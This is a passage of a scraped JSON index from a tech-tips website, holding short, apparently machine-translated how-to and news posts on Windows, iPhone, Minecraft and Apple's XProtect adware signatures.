working!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWUlsCprs6aqZ1lp52utXnIrGSdmaOdr7Ct0Z1knZmjna%2BwrdGdZJ2dlp67qsDIqKU%3D\n","link":"/post/what-is-dashboard-what-is-dashboard-dashboard-definition/","section":"post","tags":null,"title":"What is dashboard? What is Dashboard? Dashboard definition"},{"body":"Microsoft has just released the official version of Internet Explorer 10 for Windows 7.\nAlong with integrating into Windows 8 operating system, Microsoft has released Internet Explorer 10 version for Windows 7 and Windows Server 2008 since November last year as a trial version of Release Preview. And a few days ago, Microsoft officially released the official version of Internet Explorer 10 specifically for Windows 7 SP1 and Windows Server 2008 R2 SP1 operating systems.\n  With this new version, Internet Explorer 10 has officially returned to the race of browsers being occupied by Google Chrome and Mozilla. Although there are not many features like Internet Explorer 10 version on Windows 8, this new version has many interesting experiences.\nHere are the notable features available in Internet Explorer 10 browser version for Windows 7 and Windows Server 2008:\nPrevent being monitored when browsing (Do Not Track) This feature is exploited by online advertisers on advertising websites to track users' browsing behavior and send this information to their servers. If you want to turn off this feature, go to Internet Options\u0026gt; Advanced , move to Security settings and uncheck the \"Always send Do No Track header\" line.\n  Check for spelling errors and auto-complete when entering data Like Google Chrome, Internet Explorer 10 also features auto-spell checking when you type, similar to the way you work on MS Word. Internet Explorer 10's grammatical recognition is quite amazing. Besides, the auto-complete feature when entering data is also equipped for Microsoft Internet Explorer 10, features that even Google Chrome and Firefox do not yet have.\n  The spell check feature supports 95 languages ​​and is likely to become a formidable competitor for other browsers.\nBetter HTML 5 support and built-in Sandbox technology Internet Explorer 10 version for Windows 7 also improved the support of standard HTML 5 which is very popular today, besides integrating Sandbox technology to help users be more secure when using web applications.\nPointer Events feature Internet Explorer 10 on Windows 7 also supports the Pointer Events feature like on Windows 8, this feature allows the website to recognize and respond to touch gestures on the screen. It can be said that this is the right step for Microsoft to build the overall browser.\nIn addition to the above features, Internet Explorer 10 surfing and processing speed is quite respectable, can be said to be very fast.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt06xkp52nYravecinq56qnprBbrHXqaOoqpWnenJ8jJ%2Bmq2Wnnrulu9asZHA%3D\n","link":"/post/what-s-new-in-internet-explorer-10-for-windows-7/","section":"post","tags":null,"title":"What's new in Internet Explorer 10 for Windows 7?"},{"body":"Our house is full of different electronic devices and devices, forming a series of \" dozen \" wires that are pulled through the rooms-like spider webs. The problem here is that the connecting wires, headphones, charging cables and charging cords are often tangled!\nSo we want to share with you 10 great ways to re-arrange all the wires in your home. You'll find it easy to find the right cable when you think about it.\nEnergy supply station  apartmenttherapy.com\nTurn the cake box into an innovative charging station for your phones and other electronic devices.\nThe container has many compartments  iheartorganizing.com\nIt is convenient to keep all your cables in a box divided into small labeled compartments.\nCompact USB cable bag  justimagine-ddoc.com\nIf you need to use this cable every day and don't want to store it, this is a simple idea for you.\nUse toilet paper core  apartmenttherapy.com\nTry this idea, surely you will never have the same trouble again!\n organizeyourstuffnow.com\nIn addition, you can also put the paper rolls in a plastic box as above.\nCell phone pocket  makeit-loveit.com\nYou can use the shell of the lotion bottle that has been used up to make a phone hold bag for yourself.\nWire decoration  remodelista.com\nIf you don't want to store your charger or headphones, the most common way is to decorate it in different ways.\nMake colorful rolls  brit.com\nThis is the best way to keep headphones and cables from getting tangled when traveling. And it is easy to implement.\nUsing clamps to hold the cable head  bedifferentactnormal.com\nTo keep the charger cable and adapter in order, use these pins and you'll find it very effective.\nHanging board  liveitloveitmakeit.com\nA suspension panel keeps the cable, charger, and headset extremely convenient. In addition, you can also tailor your own cover.\nMark the same cables for easy distinction  sewmanyways.blogspot.ru\nIf there are many identical cables, you just need to tag up on it to avoid confusion.\nAttach the label to the socket to avoid misplacing the drive  thechicsite.com\nIf you regularly unplug the socket, the above is an extremely effective solution.\nncG1vNJzZmismaXArq3KnmWcp51kfnF50qKkqaSVYsSixdJmq6hllaPAtr7EZquhmaRiwamxjJyfmqqXnruoecKamaWdXaOyt7HRZp6erKNiwaK6xqWcnWWlpXqis8CipQ%3D%3D\n","link":"/post/10-simple-ways-to-ensure-that-the-charging-cable-never-gets-tangled-up-again/","section":"post","tags":null,"title":"10 simple ways to ensure that the charging cable never gets tangled up again"},{"body":"Apple's XProtect security software has recently been quietly updated to add some signature to help detect Windows PE files as well as Windows executable files that can be run on Mac using Mono .NET framework.\nIf you don't know, XProtect is Apple's built-in antivirus software that acts as a real-time protection shield on a Mac. To protect users from viruses and malicious code, XProtect uses signatures built from many Yara rules aimed at known security threats for Mac users.\n  India's largest IT services company is hit by a hacker ' According to security expert Patrick Wardle, the two new signatures released on April 19, 2019 when used together can help detect ad packages containing Windows executable files running on macOS. .\nThe two new signatures are called \"PE\", which helps detect Windows PE files and \"MACOS.d1e06b8\", and is also used to identify a specially built Windows executable file that can run on Mac, as illustrated below:\n  Malicious ad campaigns abuse Chrome to steal 500 million iOS user sessions Basically, XProtect will use the above rule to detect Windows executable files that contain the following strings. Note, the strings below are built based on the rules shown above, so they can also be 'torn' small.\n // * ErborC () trackingXML AllInstal offer_parameter offer_id  These strings are linked to many ad packages containing modified Windows executable files to run on Mac using Mono C # framework.\nMalicious code targeted Mac adware package. In February, a number of major technology news sites around the world reported cases of malware detected using the Mac installer to launch Windows executable files using Mono. C # framework.\nMono is basically a cross-platform framework, allowing C # programs to run on many popular operating systems today, including Windows, Mac and Linux.\nSome of the detected malware samples will extract a Windows executable file named Installer.exe. This file will then use the included Mono Mac libraries to be able to run on this operating system.\n  25% of \"out-of-the-box\" phishing emails are the default security of Office 365 After successfully launching, the ad package will silently contact the crook's remote servers to download the 'offers' and install them into the victim's system. These 'offers' can be browser extensions, adware, exploit tools and unwanted password theft.\nAlthough these ad software packages are essentially executable files of Windows, they are actually not able to run on Windows. This is because they are programmed to try to download the Mac Mono framework libraries, while those are completely unavailable in Windows. If you try to run these executable files in Windows, the system will report an error as shown in the illustration below:\n  Detect spyware targeting iOS users When programming languages ​​like C # become cross-platform languages, being able to discover Windows PE files will play a very important role in protecting users from malware, which can be easy. spread to Mac using frameworks like Mono.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55krqiUlsGmv4yxp6unpJqwtXnTqGSbpJ%2BYuG7DyKebqK%2BjYrqiuNaaqZ5ln6N6onnMmpo%3D\n","link":"/post/apple-updates-xprotect-to-block-windows-malware-on-a-mac/","section":"post","tags":null,"title":"Apple updates XProtect to block 'Windows' malware on a Mac"},{"body":"\u0026nbsp;Determining the exact current version of PowerShell will help you understand which PowerShell features you have access to, thereby planning how to use them most effectively.\nIn this article, we will learn how to check the PowerShell version in Windows 10.\nDetermine PowerShell Version Interestingly, you can use PowerShell to run a command to find the current version number of the tool itself.\nTo get started, open the 'Start' menu, search for the keyword 'Windows PowerShell' and click on the corresponding application in the returned search results.\n  After a few seconds, a PowerShell window will open, here, enter the following command and press Enter:\n$PSVersionTable    Immediately, PowerShell will display a series of different metrics. However, we will only be interested in the first value titled 'PSVersion' - which is your current PowerShell version - as shown below.\n  Now that you know what version of PowerShell you're running on, you need to update or not.\nUpdate PowerShell in Windows 10 PowerShell is a default tool, built into Windows 10. Therefore, it will also be updated automatically when you order operating system updates. But this also means that you should regularly update your PC to a new version of Windows 10, to ensure that PowerShell is also running at the latest version.\nNote that PowerShell 7 will be slightly different from the version normally installed on Windows 10 PCs. To install a new version of PowerShell 7, you must download the installer file or run a command from PowerShell on your PC.\nupdate PowerShell ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsec%2Borp6qo52yrbiMr5yrq5mku261zWauoqaUpMS0eZBp\n","link":"/post/how-to-check-powershell-version-in-windows-10/","section":"post","tags":null,"title":"How to check PowerShell version in Windows 10"},{"body":"You have a Word file but you want to switch to Excel to make it easier to calculate and process data. But if you enter it again, it will take a lot of time, so you are looking to convert Word files into Excel. Below the article guides you two ways to convert Word files to Excel, please refer.\n  Method 1: Save Plain Text format and import into Excel Step 1: Open the Word file that you want to convert to Excel worksheet, select File -\u0026gt; Save As -\u0026gt; Browse (or press F12 key ) to open the Save As window to save the file. .\n  Step 2 : In the Save As window, enter the navigation to any folder to save the file, in the Save as type section, select Plain Text format and select Save .\n  Step 3: File Conversion appears, select Other encoding and select Unicode (UTF-8) if your Word uses built-in Unicode to avoid converting to Plain Text with font errors. Then click OK to save the Word file as Plain Text.\n  Step 4 : Open the new Excel file, on the Excel interface, select Data -\u0026gt; From Text tab .\n  Step 5 : The Import Text File window appears, select the Plain Text file you just saved and select Import .\n  Step 6 : In the Text Import Wizard window - select Step 1 of 3, select Delimited , if the data in Word is a table and include column headings, then check the box for My data has headers . Next click Next .\n  Step 7 : Next in the Text Import Wizard window - Step 2 of 3 you choose the delimiters included in Word to separate the column in Word, if you do not want to separate the data by the delimiter, you deselect in all options then click Next .\n  Step 8: Select the type of data format in the Text Import Wizard - Step 3 of 3. Next, click Finish .\n  Step 9: Next, in the Import Data dialog box, select the location to put the data into: Exitsting worksheet (current sheet); New worksheet (new sheet). Then click OK .\n  Then you save the Excel file again, so you've moved the Word file to Excel already.\n  Method 2: Use MS Word To Excel Converter Software Step 1: You need to download and install MS Word To Excel Converter Software to the system.\nLink to download software http://www.sobolsoft.com/convertwordexcel/download/setup.exe Step 2 : Run the program, on the interface you select Add Doc File (s), you can select all Word files in a folder by selecting Add All Doc File (s) In Folder.\n  Step 3 : The Add File window appears, select the Word file to convert to Excel and click Open .\n  Step 4 : In the Conversion Options section (1), choose the separation options:\nDo not split: do not split. Split by comma: separated by commas. Split by comma-space: separate with commas - spaces. Split by space: separated by spaces. In the Save Results To This Folder (2) section, select the path to save the Excel file after converting from Word file. Then choose Start Converting (3).\n  The success message appears, select OK .\n  The result you will receive Excel file, you can open up to see the results.\n  Above the article has guided you two ways to convert Word files to Excel, hope you will be able to quickly convert Word files to Excel with two ways that the article has shared. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGavn6exbrLIpZxmrJ9isrmvxKU%3D\n","link":"/post/how-to-convert-a-word-file-to-excel/","section":"post","tags":null,"title":"How to convert a Word file to Excel"},{"body":"From iOS 13 and above, Apple's original Reminder has a feature that reminds users when texting specific people in the Message app.\nThis feature is especially handy when you need to remember to do something for friends or family members like sending birthday cards or paying for Apple Cash cards.\n10 reminder apps for Mac that are superior to Apple Reminder How to schedule reminders to send messages on iPhone using Scheduled How to create a quick message for answering calls on iPhone How to create message-based reminders in the Reminder app on iPhone or iPad Note: The person you message must be in the contacts for the feature to work.\nTo add a reminder to the list, touch the list, then the New Reminder plus button. If there's no list, tap Today , Scheduled , All or Flagged at the top of the app, then select New Reminder at the bottom of the screen.\nWhen you finish naming your message, tap the i (info) button next to it to open the Details screen, then tap the switch next to Remind me when messaging to turn it on.\nTap Person below, then select the person you want to text from your contacts. When done, tap Done in the upper right corner of the Details screen. A reminder message will appear at the top of the screen when you chat with that person in the Messages app.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyrnKahnpmys7%2BMm5isnZRivK95zJ6qrJmXmsBuu81moKmgn6Oy\n","link":"/post/how-to-create-reminders-based-on-messages-on-iphone/","section":"post","tags":null,"title":"How to create reminders based on messages on iPhone"},{"body":"BOOTMGR stands for Boot Manager - Windows Booter. If your computer loses BOOTMGR then we cannot boot Windows and hang at BOOTMGR is missing error screen . So how do we fix this error? Please read along to find solutions in the article below!\n  1. What is BOOTMGR? What causes BOOTMGR error is missing?   BOOTMGR with the full name that Windows Boot Manager, is the manager, controls the boot process and starts Windows from the hard drive. The winload.exe file is an executable file of Windows Boot Manager that checks the hardware and proceeds to load and start Windows.\nThe causes of BOOTMGR errors:\n- Windows startup files in C: Windows folder \u0026nbsp; are corrupted or deleted due to viruses or user deletion.\n- For those who use USB to install Windows, the cause of the error is due to incomplete installer, lack of autorun.inf executable file due to virus destruction or anti-virus software deletion.\n- The BIOS on your computer is corrupt or outdated, making booting and booting difficult.\n- Hardware causes such as: bad hard drive, bad hard drive connection cable .\n2. How to fix BOOTMGR errors 2.1. Check the hard drive connection cable on the computer   Sometimes the cause of your computer not receiving Boot is due to a hard drive or the SATA connection cable on your computer having a problem. Check if the SATA cable from the hard drive and mainboard is secure or not and try to remove and reinsert it. Before removing and re-attaching, you can wipe the connector pins to remove dirt on the connector. With a laptop, you only need to press the hard drive or remove the toilet and then reinstall it.\n2.2. Reboot the computer   Usually the BOOTMGR is missing error is often accompanied by the Press Ctrl + Alt + Del to restart message . Please restart the computer this way a few times and the computer may automatically fix errors.\n2.3. Change hardware boot priority in BIOS. Step 1: After pressing the power button to start the computer, you press one of the function buttons such as Del, F2, F7, F8 . to enter the BIOS settings (depending on the model, mainboard).\nThen go to Boot (1) and move the Hard drive : Windows (2) order to the top.\n  Step 2: Choose Save \u0026amp; Exit (1) =\u0026gt; Save Changes and Reboot (2) .\nFor some devices, you just need to press F10 to Save \u0026amp; Exit to finish.\n  2.4. Use the Windows Repair tool to fix errors. Step 1: You need to prepare a USB containing any Windows installer. Then you plug the USB into the computer and wait for Windows to upload, click on Next .\n  Step 2: Select Repair your computer to start the Windows Repair system for you.\n  For Windows 7:\n- Choose Repair your computer .\n  - Select the Startup Repair item . The computer will automatically set up error correction for you.\n  For Windows 10 :\n- Choose Troubleshoot .\n  - Next, select the Advanced options section .\n  - Choose Startup Repair to let the system scan itself and fix boot errors on Windows.\n  With BOOTMGR error correction guide in the article, we can fix it and use a normal computer without having to go to a repair shop. If your computer does not run out of errors, the final solution is to reinstall Windows or ghost again, but before doing so, use a rescue disk such as MiniWindows to boot into the computer and store the necessary data before reinstall. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqju86tpKCqXZ7AbrnIrKqippdisrO%2BzqtksKCVo3q0wMCrq6Kml2LEqrrDqK6s\n","link":"/post/how-to-fix-bootmgr-is-missing-error-when-starting-windows/","section":"post","tags":null,"title":"How to fix BOOTMGR is missing error when starting Windows"},{"body":"For those looking to tame a bunch of Minecraft Axolotls, this new mob is one of the new Minecraft 1.17 Caves \u0026amp; Cliffs content and by far one of the cutest things added to the new version. this.\nThis is an aquatic animal found in small caves. You can capture, tame and make them your pet. As long as you need to get yourself a bucket of water as the salamander will die pretty quickly without water.\nTherefore, you will have to be very careful with this mob, and if you want to know how to take care of and tame the Minecraft 1.17 Iguana, then check out the article below.\nWhere to find the Minecraft salamander?   Finding salamanders in Minecraft 1.17 is really not easy. Axolotl is an animal that lives in an underwater cave. And they only spawn in complete darkness (level 0 light). They can also live on land but not for too long (less than 5 minutes), if you drop them on the shore near the sea, they will try to find a way to the water.\nOn the plus side, Axolotl's cave lake in Minecraft doesn't have to be that deep. Specifically, they will be located in a cave formed from some kind of solid block with a depth of no more than five blocks below the spawn point of Axolotl. You also don't have to dig deep, because Axolotl can completely spawn at y: 63 ie sea level or lower.\nNote that only one to four salamanders appear in a group. They come in five distinct colors, the rarest color being blue is extremely rare. The odds of them appearing in blue are about 1/1200 so don't expect them to appear.\nHow to capture and tame Axolotl   With such a lovely appearance, it is obvious that Minecraft players want to tame their own axolotl pet. But unfortunately, they are passive animals and can be easily captured and transported.\nSo you can capture them and breed Axolotl and create your own Axolotl zoo in Minecraft 1.17.\nThe easiest way to transport Axolotl is to use a bucket of water and catch them, then you can take them anywhere. Alternatively, you can lure them with a bucket of tropical fish or use a lead wire.\nHow to raise Axolotl Minecraft   Axolotls in Minecraft will turn on love mode if you give them a crate of Tropical Fish. Of course you need 2 Iguanas to create a baby Iguana. Baby salamanders take 20 minutes to develop.\nIf you want to spawn a Iguana in creative mode, you can use commands, eggs or a bucket of Iguanas.\nWhat can Minecraft salamanders do?   In addition to being cute, Axolotl is really useful if you want to go fishing or join an underwater fight. Once you have bred Axolotl after that, you can put them in a bucket and take them with you.\nIf you encounter aquatic creatures, simply release the Axolotl from their bucket. As long as it's not a dolphin or a turtle, they kill them all.\nThat is information about Axolotl with how to raise and use them. If you have an army of Axolotl, they will be great assistants for you when underwater.\nMinecraft salamander ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqRnsCmecCxpqWnpKF6rrXNnpqrmZaperWtzJ5kraCVYrqqusScqZqepGK2qMHAp5g%3D\n","link":"/post/how-to-raise-axolotl-minecraft-tame-the-minecraft-iguana/","section":"post","tags":null,"title":"How to raise Axolotl Minecraft, tame the Minecraft Iguana"},{"body":" This wikiHow teaches you how to turn off Caps Lock, which causes you to type in all capital letters, on a Windows or Mac computer. Turning off Caps Lock on a functional computer is as simple as pressing the 'Caps Lock' key again, but if...\nMethod 2of 3:\nDisabling Caps Lock on Windows  Open Start   . Click the Windows logo in the bottom-left corner of the screen.   Type in notepad. This will search your computer for the Notepad program, which is what you'll use to prevent Caps Lock from working on this computer.\n  Click Notepad. It's a blue, notepad-shaped icon at the top of the Start window. A Notepad window will open.\n  Enter the Caps Lock termination code. The Notepad document that you'll create consists of a heading, an empty line, a line indicating a destination, and the code itself:[1] Type in Windows Registry Editor Version 5.00 and then press ↵ Enter twice. Type in [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlKeyboard Layout] and press ↵ Enter. Type \"Scancode Map\"=hex:00,00,00,00,00,00,00,00,02,00,00,00,00,00,3a,00,00,00,00,00 into the final line of Notepad.   Click File. It's in the top-left corner of the Notepad window. Clicking it prompts a drop-down menu.\n  Click Save As…. This option is near the bottom of the drop-down menu. A \"Save As\" window will open.\n  Enter the file name. Type disable_caps_lock.reg into the \"File name\" text box that's near the bottom of the window.\n  Click the \"Save as type\" drop-down box. It's below the \"File name\" text box. Clicking it causes a drop-down menu to appear.\n  Click All Files. This option is in the drop-down menu.\n  Select a save location. Click an easy-to-get-to folder (e.g., Desktop) on the left side of the window. Remember the folder that you choose—you'll be opening it in just a minute.\n  Click Save. It's in the bottom-right corner of the window. This will save your file in your selected folder.\n  Install the file. Go to the folder in which you saved the file (if you selected the Desktop folder, just minimize any open windows), then double-click it to open it and click Yes until you receive a notification that the registry file was successfully merged.\n  Click OK when prompted. This will appear on a prompt notifying you that your changes to the registry were successful.\n  Restart your computer. Click Start  , click Power  , and click Restart in the resulting pop-up menu. Once your computer finishes restarting, you'll notice that your Caps Lock key no longer works. You can delete the file that you created after your computer finishes restarting.   Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJyZoKh6rbvCpA%3D%3D\n","link":"/post/how-to-turn-off-caps-lock/","section":"post","tags":null,"title":"How to Turn Off Caps Lock"},{"body":"Many people use Notes application for quick notes. In general, this is not a big problem. However, the faster the typing speed, the more errors there are. If you have a typo or accidentally delete that chart, you have worked very hard, there is an easy way to undo these changes.\nThis method works on iOS devices, so don't think it's limited to Notes apps. You can apply the following steps for most other applications and situations when writing text on iPhone.\n6 best note apps for iOS 1. Undo text editing, adding photos, deleting, etc. Undo a content written or added like the process of undoing deleted content. Because there is no undo button for text or deleting in Notes app, users just need to shake iPhone. It may sound silly, but in iOS, the way to undo things without the current undo button is to shake the iPhone. You do not need to shake it vigorously, just shake it slightly to the side to appear a popup message with Undo Typing title, then touch Undo to undo.\nWhen typing incorrectly, if you do not want to press the key to correct the error, simply shake the iPhone and then tap the ' Undo ' when notified and the last recorded text (possibly longer than one word or character) will undo. Repeat as many times as needed to return to editing.\n   Likewise, if you accidentally delete a sketch, photo, video, chart or even text, you can do the same to get it back. Shake iPhone to touch \" Undo \", deleted letters or characters will return\n2. Redo operation performed Of course sometimes we make mistakes in undoing. Suppose you undo or delete more documents than intended. The simplest way is to do it again by shaking iPhone again, this time instead of touching ' Undo ', touch ' Redo Typing '. Your final undo will be undone, restore the content or delete it.\n   3. Undo and Redo are easier in drawings While undo buttons do not appear in normal use in Notes, there are undo buttons when drawing or writing. When you click on the maker icon and activate handwriting mode, the first difference you can see is the undo buttons at the top of the screen.\nThe buttons work exactly as you imagine them, press the left to undo a stroke and to the right to redo. If an error occurs when drawing or accidentally deleting something with the eraser, simply press the left undo button as many times as needed.\n   On the other hand, if you don't want to undo or undo too many times, press the redo button to restore the last stroke.\n   Of course, you can use the same undo method to undo found in the rest of Notes (and iOS). Just shake iPhone, and press \" Undo \" in the Undo Stroke notification for the drawing. If you open the sketch attachment, it will also specify the type of brush (Pen, Marker, Pencil or Delete). When you need to undo the undo, shake again and touch \" Redo Stroke \". Shaking to undo does not work inside drawings so you just need to use dedicated buttons to undo and redo the stroke.\nSee more:\nUseful shortcuts in Office applications 9 tricks to use Evernote on iOS and Android mobile devices Insert pictures and drawings into notes on iOS 9 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq2usOoZJqmlGK%2FprDOZp2uppOptrC60mauoZ2eYsSztdOipaBlpJrFtXnOp2SiqJiku6Y%3D\n","link":"/post/how-to-use-undo-and-redo-functions-when-writing-text-on-iphone/","section":"post","tags":null,"title":"How to use Undo and Redo functions when writing text on iPhone"},{"body":"Windows Recovery Console is one of the tools to help restore the system when it doesn't boot as expected or can't boot. In this article we will take a look at some Recovery Console components including Command Prompt, Command Action, Rule, Recovery Console removal method.\n\n \u0026gt;\u0026gt; Put Safe Mode in the standard boot menu of Windows XP Note: Microsoft suggests that users should only use Recovery Console only when Safe Mode and other methods do not work. You should use Recovery when you can use some basic commands to identify faulty drivers and files. In addition, to be able to use the Recovery Console you must log in as an administrator. Install Recovery Console You can install Recovery Console on the system to use in case Windows cannot boot. You can then select the Recovery Console option from the boot menu while the system is booting. Next, we will install the Recovery Console on a Windows XP-based computer. You will first have to log in to the system with administrative rights. Although we can run the Recovery Console by booting directly from the Windows XP installation disc, it is much more handy if we install it as a boot option in the boot menu. If you choose to run the Recovery Console directly from the CD, then see Using the Recovery Console in this article. To install Recovery Console perform the following steps: 1. Insert the Windows XP installation disc into the CD-ROM drive. 2. Go to the Start menu and select Run . 3. In the Open box, enter e: i386winnt32.exe / cmdcons , where e: is the CD-ROM drive. If the Windows XP version you are using is a 64-bit version, enter e: amd64winnt32.exe / cmdcons , where e: is the CD-ROM drive. 4. Then the Windows Setup dialog box will appear. This dialog box describes the Recovery Console option. Click Yes to confirm the installation. 5. Restart the computer. In the next system reboot you will see the Microsoft Windows Recovery Console appear in the boot menu.  6. Alternatively, you can use the connection established by Universal Naming Convention to install Recovery Console from a network share point. Note: During the installation process you may see an error message with the following content: Setup không tiếp tục vì phiên bản của phiên bản trên máy tính này mới hơn phiên bản trên CD (The installation process cannot continue because the Windows version on the system is higher than the version on the CD). This is a common error when installing Recovery Console on a Windows XP SP2-based computer. This error occurs because you used a Windows XP or Windows XP SP1 installation disc instead of using a Windows XP SP2 installation disk. You will not be able to run a version of Winnt32.exe from the above two installation disks (XP and XP SP1) because Windows XP SP2 is a higher version of Winnt32.exe in the above two disks. Therefore, to avoid this error, you should use the installation disk that corresponds to the version of Windows XP currently in use. Using Recovery Console With Recovery Console you can enable or cancel the service, format the drive, read and write data on the local drive (including NTFS formatted drives), and perform many administrative tasks. other. Recovery Console is especially useful in case we have to repair the system by copying an external file to the hard drive, or in case we have to reconfigure a service to prevent the system from booting normally. If the system cannot boot, we will have to run Recovery Console directly from the Windows XP installation disk. Perform the following actions: 1. Insert the Windows XP installation disc into the CD-ROM drive. You need to change the settings in the BIOS so that the system boots from the CD-ROM drive. 2. When the Welcome to Setup screen appears, press R to launch Recovery Console.  If your system is dual-boot or installing multiple operating systems, select the installation you will access from the Recovery Console. 3. Then the system will ask you to enter the Administrator account password, if you have not set a password for this account, then press Enter . 4. At Command Prompt , use the appropriate commands to detect and troubleshoot Windows XP operating system. For help with a specific command, run the help command . 5. After completing the exit command, exit the Command Prompt . Use Command Prompt of Recovery Console When using the Recovery Console you are working with a special Command Prompt instead of the usual Windows Command Prompt. Recovery Console has a separate command interpreter. To access this command interpreter you will have to enter the local admin password.  When Recovery Connsole launches, you can press F6 to install a third-party RAID or SCSI driver in case you need to use that type of driver to access the hard drive. This Command Prompt works like when installing Windows XP. After starting, you will see the Recovery Console menu appear with the list of operating systems installed on the system. Press the serial number of the operating system you want to access and press Enter even if there is only one item in this list because if you do not choose the number the computer will restart and run this process again. When we see the % SystemRoot% message (usually C: Windows), we can start using the Recovery Console. Command Action Attrib : Change the properties of the file or subdirectory. Batch : Execute the commands specified in the text file, Inputfile. Outputfile stores the output information of these commands. If the Outputfile parameter is omitted, the output will appear on the screen. Bootcfg : Edit the Boot.ini file for configuration and boot recovery. CD (Chdir) : Works only in the system folders of the current Windows operating system, mobile devices, root folders of all partitions or operating system sources. Chkdsk : The / p switch will run the Chkdsk command in case the drive is not labeled \"dirty - dirty\". Lock the / r switch to locate bad sectors and recover readable information. This switch includes the / p switch. Chkdsk requires Autochk , it will automatically search Autochk.exe in the boot folder. If Chkdsk can't find the boot folder, it will find the Windows 2000 installation disk. And if it can't find it, it will ask the user to determine the location of Autochk.exe .\nCls : Delete the screen. Copy : make a copy of a file to the destination address. By default, this target cannot be mobile devices, and we will not be able to use wildcards. The process of copying a compressed file from the Windows 2000 installation disc will automatically extract this compressed file. Del (Delelte) : Delete the file. This command works in the system directories of the Windows, mobile device, and root folders of local partitions or installation sources. By default we will not be able to use characters. Dir : Displays a list of all files including system files and hidden files. Disable : Remove Windows service or driver. The variable service_or_driver is the name of the service or driver you want to cancel. When using this command to cancel a service it will display the initial startup type before changing to SERVICE_DISABLED . Notice the initial boot type so you can use the enable command to reactivate this service.\nDiskpart : This command helps manage partitions on the hard drive. The / add option will create a new partition. The / delete option deletes an existing partition. Device variable is the device name used for the new partition (such as deviceharddisk0 ). Drive variable is the letter of the drive used for a deleted partition (eg D). Partition is a partition based name for a partition being erased (for example deviceharddisk0partition1 ) and can be used instead of a drive variable. Enable : Help activate a service or driver of Windows operating system. The variable service_or_driver is the name of the service or driver you want to activate, and start_type is the startup type that applies to a service that has been activated. The boot type uses one of the following formats:\nSERVICE_BOOT_START SERVICE_SYSTEM_START SERVICE_AUTO_START SERVICE_DEMAND_START\nExpand : Perform extracting compressed files. Fixboot : Writes a new boot sector on the system partition. Fixmbr : Fix the master boot code of the boot partition. The device variable is an optional name that specifies the device that needs a new Master Boot Record . Ignore this option when this device is a boot device. Format : Format the drive. The / q switch performs quick formatting, the / fs switch specifies the format. Listsvc : Displays all services and drivers on the system.\nLogon : Displays all versions of Windows operating systems installed on the system and requires a local administrator password for these installations. This command is used to access the operating system or other subdirectories. Map : Display shows all active device mappings, including the arc option to specify using the Advanced RISC Computing path (format for Boot.ini) instead of Windows device paths. MD (Mkdir) : Works only in system folders of the current Windows version, mobile device, root directory of any partition or local installation source.\nMove / Type : Displays the specified text file on the screen. Rd (Rmdir) : only works in the system directories of the current Windows version, mobile device, root directory of any partition or local installation source. Ren (Rename) : only works in the system folders of the current Windows version, mobile device, root directory of any partition or local installation source. Set : Display and install variables of Recovery Console environment.\nSystemroot : Set the current directory to % SystemRoot% . Recovery Console Rule Some environmental rules will be applied when working with the Recovery Console. To see the rules, enter the set command. By default, Recovery Console has the following rules:AllowAllPaths = FALSE : Block access to directories and subdirectories outside the selected operating system when running Recovery Conssole. AllowRemovableMedia = FALSE : Block access to mobile devices as a destination when copying files. AllowWildCards = FALSE : Block support using alternate characters for commands like copy and del . NoCopyPrompt = FALSE : Displays a message in Recovery Console when overwriting the file.\nDelete Recovery Console To delete the Recovery Console, do the following:1. Restart the device. Go to My Computer and then double-click on the drive where you installed the Recovery Console. 2. On the Tools menu, select Folder Options and then click the View tab. 3. Select the option Show hidden files and folders , then uncheck the box to hide Hide protected operating system files . Done, click OK .\n 4. In the root directory, delete the Cmdcons folder and the Cmldr file. 5. At the root directory, right-click on the Boot.ini file and select Properties . 6. Clear the Read-Only check box, click OK . Note: Correcting the Boot.ini file incorrectly may cause the system to fail to reboot. You only need to delete the entry of the Recovery Console. In addition, reset the Read-Only property for the Boot.ini file after completion. 7. Open the Boot.ini file in Notepad and delete the Recovery Console entry, which looks like this: C: cmdconsbootsect.dat = \"Microsoft Windows Recovery Console\" / cmdcons 8. Then save and close the file.ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWRo7FuwdKeZKudk6TDpr7YZpqopqOkuaZ5yKdksKGeYsWx\n","link":"/post/install-and-use-recovery-console-in-win-xp/","section":"post","tags":null,"title":"Install and use Recovery Console in Win XP"},{"body":"  Windows Server Backup is a component built into Windows Server 2008 R2, including snap-in Microsoft Management Console (MMC), a command line tool and Windows PowerShell cmdlets. Windows Server Backup is like its predecessor - Ntbackup (on Windows Server 2000/2003) - provides a complete solution for daily data backup and restore when needed.\nCompared to Windows Server 2008 RTM, Windows Server 2008 R2 has new extended features that you can backup, store backups and how to recover from backup.\nNote : One thing to remember is that you cannot use Windows Server Backup to restore a backup created by Ntbackup. However, there is a read-only version of Ntbackup (free) that can help you recover the data created by Ntbackup, which can be installed on Windows Server 2008 R2 and Windows 7. Download details at here.\nBackup with Windows Server Backup You can use Windows Server Backup to backup the entire server (all volumes), a list of selected volumes, a system partition or a specific directory / file.\nNote : In Windows Server 2008 RTM you will be limited to backup items, only a few options are volume and the entire server.\nYou can use Windows Server Backup to create and manage backups for a local or remote computer, which can schedule to run backup automatically.\nInstall Windows Server Backup When adding the Windows Server Backup Features and subordinate features, you need to install the following tools:\nWindows Server Backup Microsoft Management Console (MMC) snap-in Wbadmin command-line tool Windows PowerShell cmdlets for Windows Server Backup To install Windows Server Backup, you can use one of the following three methods:\nUse Server Manager Use Servermanagercmd.exe Use PowerShell To install Windows Server Backup, log on to the computer using an Administrator account or an account with administrative rights.\n1. Install Windows Server Backup using Server Manager - Open Server Manager\n- Click Features\n- Click Add Features\n - In the Add Features Wizard page, scroll down and select Windows Server Backup features . If you also want to use PowerShell command templates, select the Command Line Tools option . You do not need this addition if you only want to use the 